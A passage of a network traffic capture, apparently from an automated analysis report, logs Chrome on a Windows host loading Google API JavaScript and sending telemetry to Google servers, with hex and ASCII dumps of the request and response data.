2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 0a 6d 61 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 6d 61 28 22 67 6c 6f 62 61 6c 54 68 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 5f 2e 6c 61 7d 29 3b 6d 61 28 22 53 74 Data Ascii: ay.prototype.entries",function(a){return a?a:function(){return Fa(this,function(b,c){return[b,c]})}});ma("Array.prototype.keys",function(a){return a?a:function(){return Fa(this,function(b){return b})}});ma("globalThis",function(a){return a\|\|_.la});ma("St

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49796	142.250.181.46	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:46 UTC	1028	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_1 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:47 UTC	903	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript; charset=UTF-8 Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 209242 Date: Fri, 20 Dec 2024 00:16:46 GMT Expires: Sat, 20 Dec 2025 00:16:46 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 02 Dec 2024 19:15:50 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:16:47 UTC	487	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 31 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 42 67 3d 28 77 69 6e 64 6f 77 2e 67 61 70 69 7c 7c 7b 7d 29 2e 6c 6f 61 64 3b 0a 5f 2e 54 6e 3d 5f 2e 42 65 28 5f 2e 4d 65 2c 22 72 77 22 2c 5f 2e 43 65 28 29 29 3b 0a 76 61 72 20 55 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 28 61 3d 5f 2e 54 6e 5b 61 5d 29 26 26 61 2e 73 74 61 74 65 3c 62 26 26 28 61 2e 73 74 61 74 65 3d 62 29 7d 3b 76 61 72 20 56 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 28 61 3d 5f 2e 54 6e 5b 61 5d 29 3f 61 2e 6f 69 64 3a 76 6f 69 64 20 30 3b 69 66 28 61 29 7b 76 61 72 20 62 3d 5f 2e 79 65 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 Data Ascii: gapi.loaded_1(function(_){var window=this;_.Bg=(window.gapi\|\|{}).load;_.Tn=_.Be(_.Me,"rw",_.Ce());var Un=function(a,b){(a=_.Tn[a])&&a.state<b&&(a.state=b)};var Vn=function(a){a=(a=_.Tn[a])?a.oid:void 0;if(a){var b=_.ye.getElementById(a);b&&b.parentNode
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 2e 77 69 64 74 68 7c 7c 22 33 30 30 70 78 22 29 2b 22 3b 6d 61 72 67 69 6e 3a 30 70 78 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 22 7d 3b 0a 5f 2e 59 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 2c 64 3d 61 2e 78 63 28 29 2c 65 3d 62 26 26 62 2e 77 69 64 74 68 2c 66 3d 62 26 26 62 2e 68 65 69 67 68 74 2c 68 3d 62 26 26 62 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3b 68 26 26 28 63 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 68 29 3b 65 7c 7c 28 65 3d 64 2e 77 69 64 74 68 7c 7c 61 2e 77 69 64 74 68 29 3b 66 7c 7c 28 66 3d 64 2e 68 65 69 67 68 74 7c 7c 61 2e 68 65 69 67 68 74 29 3b 64 2e 77 69 64 74 68 3d 63 2e 77 69 64 74 68 3d 65 3b 64 2e 68 65 69 67 68 74 3d 63 2e 68 65 69 67 68 74 3d 66 3b 64 3d 61 2e 67 65 74 Data Ascii: .width\|\|"300px")+";margin:0px;border-style:none;"};_.Yn=function(a,b){var c={},d=a.xc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height=f;d=a.get
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 3d 65 2e 67 65 74 49 66 72 61 6d 65 45 6c 28 29 3b 65 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 5f 2e 58 6e 28 65 29 7d 7d 3b 0a 5f 2e 50 69 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 77 69 6e 64 6f 77 3b 61 3d 28 61 7c 7c 62 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2e 6d 61 74 63 68 28 52 65 67 45 78 70 28 22 2e 2a 28 5c 5c 3f 7c 23 7c 26 29 75 73 65 67 61 70 69 3d 28 5b 5e 26 23 5d 2b 29 22 29 29 7c 7c 5b 5d 3b 72 65 74 75 72 6e 22 31 22 3d 3d 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 7c 7c 22 22 29 7d 3b 0a 5f 2e 61 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 54 2e 77 68 65 72 65 3d 62 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 62 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: =e.getIframeEl();e.style.cssText=_.Xn(e)}};_.Pi=function(a){var b=window;a=(a\|\|b.location.href).match(RegExp(".*(\\?\|#\|&)usegapi=([^&#]+)"))\|\|[];return"1"===decodeURIComponent(a[a.length-1]\|\|"")};_.ao=function(a,b){a.T.where=b;return a};_.bo=function(){
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 2e 6e 6f 5b 63 5d 26 26 64 26 26 28 5f 2e 63 6f 5b 63 5d 3d 64 29 7d 7d 69 66 28 77 69 6e 64 6f 77 2e 73 65 6c 66 21 3d 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 61 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 28 29 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 5f 2e 6e 6f 29 5f 2e 6e 6f 5b 65 5d 3e 30 26 26 28 62 3d 5f 2e 47 65 28 61 2c 65 2c 22 22 29 29 26 26 28 5f 2e 63 6f 5b 65 5d 3d 62 29 7d 5f 2e 6f 6f 3d 21 30 7d 65 3d 5f 2e 43 65 28 29 3b 5f 2e 45 65 28 5f 2e 63 6f 2c 65 29 3b 72 65 74 75 72 6e 20 65 7d 3b 71 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 61 2e 6d 61 74 63 68 28 2f 5e 68 74 74 70 73 3f 25 33 41 2f 69 29 26 26 28 62 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 29 29 3b 61 Data Ascii: .no[c]&&d&&(_.co[c]=d)}}if(window.self!==window.top){a=document.location.toString();for(var e in _.no)_.no[e]>0&&(b=_.Ge(a,e,""))&&(_.co[e]=b)}_.oo=!0}e=_.Ce();_.Ee(_.co,e);return e};qo=function(a){var b;a.match(/^https?%3A/i)&&(b=decodeURIComponent(a));a
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 73 2e 6c 65 6e 67 74 68 2c 65 3d 30 3b 65 3c 64 3b 65 2b 2b 29 7b 76 61 72 20 66 3d 61 2e 61 74 74 72 69 62 75 74 65 73 5b 65 5d 2c 68 3d 66 2e 6e 61 6d 65 2c 6b 3d 66 2e 76 61 6c 75 65 3b 5f 2e 77 6d 2e 63 61 6c 6c 28 46 6f 2c 68 29 3e 3d 30 7c 7c 63 26 26 68 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 22 29 21 3d 30 7c 7c 6b 3d 3d 3d 22 6e 75 6c 6c 22 7c 7c 22 73 70 65 63 69 66 69 65 64 22 69 6e 20 66 26 26 21 66 2e 73 70 65 63 69 66 69 65 64 7c 7c 28 63 26 26 28 68 3d 68 2e 73 75 62 73 74 72 28 35 29 29 2c 62 5b 68 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 6b 29 7d 61 3d 61 2e 73 74 79 6c 65 3b 28 63 3d 47 6f 28 61 26 26 61 2e 68 65 69 67 68 74 29 29 26 26 28 62 2e 68 65 69 67 68 74 3d 53 74 72 69 6e 67 28 63 29 29 3b 28 61 3d 47 6f 28 61 26 26 Data Ascii: s.length,e=0;e<d;e++){var f=a.attributes[e],h=f.name,k=f.value;_.wm.call(Fo,h)>=0\|\|c&&h.indexOf("data-")!=0\|\|k==="null"\|\|"specified"in f&&!f.specified\|\|(c&&(h=h.substr(5)),b[h.toLowerCase()]=k)}a=a.style;(c=Go(a&&a.height))&&(b.height=String(c));(a=Go(a&&
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 3b 61 3d 5f 2e 43 65 28 29 3b 66 6f 72 28 65 3d 30 3b 65 3c 64 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 66 3d 64 5b 65 5d 3b 76 61 72 20 6b 3d 66 3b 68 3d 62 3b 76 61 72 20 6c 3d 6b 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6d 3d 76 6f 69 64 20 30 3b 69 66 28 6b 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 67 61 70 69 73 63 61 6e 22 29 29 68 3d 0a 6e 75 6c 6c 3b 65 6c 73 65 7b 76 61 72 20 6e 3d 6c 2e 69 6e 64 65 78 4f 66 28 22 67 3a 22 29 3b 6e 3d 3d 30 3f 6d 3d 6c 2e 73 75 62 73 74 72 28 32 29 3a 28 6e 3d 28 6e 3d 53 74 72 69 6e 67 28 6b 2e 63 6c 61 73 73 4e 61 6d 65 7c 7c 6b 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 29 29 29 26 26 4f 6f 2e 65 78 65 Data Ascii: ByTagName("*");a=_.Ce();for(e=0;e<d.length;e++){f=d[e];var k=f;h=b;var l=k.nodeName.toLowerCase(),m=void 0;if(k.hasAttribute("data-gapiscan"))h=null;else{var n=l.indexOf("g:");n==0?m=l.substr(2):(n=(n=String(k.className\|\|k.getAttribute("class")))&&Oo.exe
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 63 74 69 6f 6e 29 3b 28 6c 3d 5f 2e 57 65 28 22 69 66 72 61 6d 65 73 2f 22 2b 6c 2b 22 2f 75 72 6c 22 29 29 7c 7c 28 6c 3d 22 3a 69 6d 5f 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 22 2b 6d 2b 22 3f 75 73 65 67 61 70 69 3d 31 22 29 3b 66 6f 72 28 6e 20 69 6e 20 41 6f 29 66 5b 6e 5d 3d 6e 2b 22 2f 22 2b 28 63 5b 6e 5d 7c 7c 41 6f 5b 6e 5d 29 2b 22 2f 22 3b 76 61 72 20 6e 3d 5f 2e 4b 6c 28 5f 2e 79 65 2c 6c 2e 72 65 70 6c 61 63 65 28 5f 2e 63 6d 2c 6d 6f 28 66 29 29 29 3b 6d 3d 22 69 66 72 61 6d 65 73 2f 22 2b 61 2b 22 2f 70 61 72 61 6d 73 2f 22 3b 66 3d 7b 7d 3b 5f 2e 45 65 28 63 2c 66 29 3b 28 6c 3d 5f 2e 57 65 28 22 6c 61 6e 67 22 29 Data Ascii: ction);(l=_.We("iframes/"+l+"/url"))\|\|(l=":im_socialhost:/:session_prefix::im_prefix:_/widget/render/"+m+"?usegapi=1");for(n in Ao)f[n]=n+"/"+(c[n]\|\|Ao[n])+"/";var n=_.Kl(_.ye,l.replace(_.cm,mo(f)));m="iframes/"+a+"/params/";f={};_.Ee(c,f);(l=_.We("lang")
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 3b 63 3d 5f 2e 43 65 28 29 3b 63 2e 69 64 3d 62 3b 63 2e 75 73 65 72 50 61 72 61 6d 73 3d 68 2e 75 73 65 72 50 61 72 61 6d 73 3b 63 2e 75 72 6c 3d 68 2e 75 72 6c 3b 63 2e 74 79 70 65 3d 68 2e 74 79 70 65 3b 63 2e 73 74 61 74 65 3d 31 3b 5f 2e 54 6e 5b 62 5d 3d 63 3b 62 3d 68 7d 65 6c 73 65 20 62 3d 6e 75 6c 6c 3b 62 26 26 28 28 63 3d 62 2e 69 64 29 26 26 64 2e 70 75 73 68 28 63 29 2c 56 6f 28 61 2c 62 29 29 7d 7d 2c 57 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 26 26 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 31 26 26 62 29 7b 69 66 28 63 29 72 65 74 75 72 6e 20 31 3b 69 66 28 4d 6f 5b 62 5d 29 7b 69 66 28 6a 6f 5b 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 29 72 65 74 75 72 6e 28 61 3d 61 2e 69 6e 6e 65 Data Ascii: ;c=_.Ce();c.id=b;c.userParams=h.userParams;c.url=h.url;c.type=h.type;c.state=1;_.Tn[b]=c;b=h}else b=null;b&&((c=b.id)&&d.push(c),Vo(a,b))}},Wo=function(a,b,c){if(a&&a.nodeType===1&&b){if(c)return 1;if(Mo[b]){if(jo[a.nodeName.toLowerCase()])return(a=a.inne
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 61 72 74 3b 65 3e 30 26 26 63 3e 3d 65 26 26 28 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 2e 73 72 74 3d 63 2d 65 29 7d 69 66 28 62 29 7b 76 61 72 20 66 3d 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 2e 6c 6f 61 64 3b 0a 65 3e 30 26 26 63 3e 3d 65 26 26 28 66 2e 74 69 63 6b 28 22 5f 77 74 73 72 74 22 2c 76 6f 69 64 20 30 2c 65 29 2c 66 2e 74 69 63 6b 28 22 77 74 73 72 74 5f 22 2c 22 5f 77 74 73 72 74 22 2c 63 29 2c 66 2e 74 69 63 6b 28 22 74 62 73 64 5f 22 2c 22 77 74 73 72 74 5f 22 29 29 7d 74 72 79 7b 62 3d 6e 75 6c 6c 2c 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 26 26 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 2e 63 73 69 26 26 28 62 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 77 69 6e 64 6f 77 2e 63 68 72 6f Data Ascii: art;e>0&&c>=e&&(window.__gapi_jstiming__.srt=c-e)}if(b){var f=window.__gapi_jstiming__.load;e>0&&c>=e&&(f.tick("_wtsrt",void 0,e),f.tick("wtsrt_","_wtsrt",c),f.tick("tbsd_","wtsrt_"))}try{b=null,window.chrome&&window.chrome.csi&&(b=Math.floor(window.chro
2024-12-20 00:16:47 UTC	1390	IN	Data Raw: 64 2b 3d 22 26 70 3d 73 22 29 3b 69 66 28 65 2e 77 61 73 4e 70 6e 4e 65 67 6f 74 69 61 74 65 64 29 7b 64 2b 3d 22 26 6e 70 6e 3d 31 22 3b 76 61 72 20 66 3d 65 2e 6e 70 6e 4e 65 67 6f 74 69 61 74 65 64 50 72 6f 74 6f 63 6f 6c 3b 66 26 26 28 64 2b 3d 22 26 6e 70 6e 76 3d 22 2b 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 7c 7c 65 73 63 61 70 65 29 28 66 29 29 7d 65 2e 77 61 73 41 6c 74 65 72 6e 61 74 65 50 72 6f 74 6f 63 6f 6c 41 76 61 69 6c 61 62 6c 65 26 26 28 64 2b 3d 22 26 61 70 61 3d 31 22 29 7d 76 61 72 20 68 3d 61 2e 74 2c 6b 3d 68 2e 73 74 61 72 74 3b 65 3d 5b 5d 3b 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6c 20 69 6e 20 68 29 69 66 28 6c 21 3d 0a 22 73 74 61 72 74 22 26 26 6c 2e 69 6e 64 65 78 4f 66 28 22 5f 22 29 21 3d 30 29 7b 76 61 72 Data Ascii: d+="&p=s");if(e.wasNpnNegotiated){d+="&npn=1";var f=e.npnNegotiatedProtocol;f&&(d+="&npnv="+(encodeURIComponent\|\|escape)(f))}e.wasAlternateProtocolAvailable&&(d+="&apa=1")}var h=a.t,k=h.start;e=[];f=[];for(var l in h)if(l!="start"&&l.indexOf("_")!=0){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49799	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:47 UTC	1003	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 910 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:47 UTC	910	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 34 36 35 33 38 30 33 37 34 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1734653803746",null,null,null,
2024-12-20 00:16:48 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:16:47 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:16:48 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:16:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49800	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:47 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:48 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:16:48 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:16:48 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:16:48 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49804	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
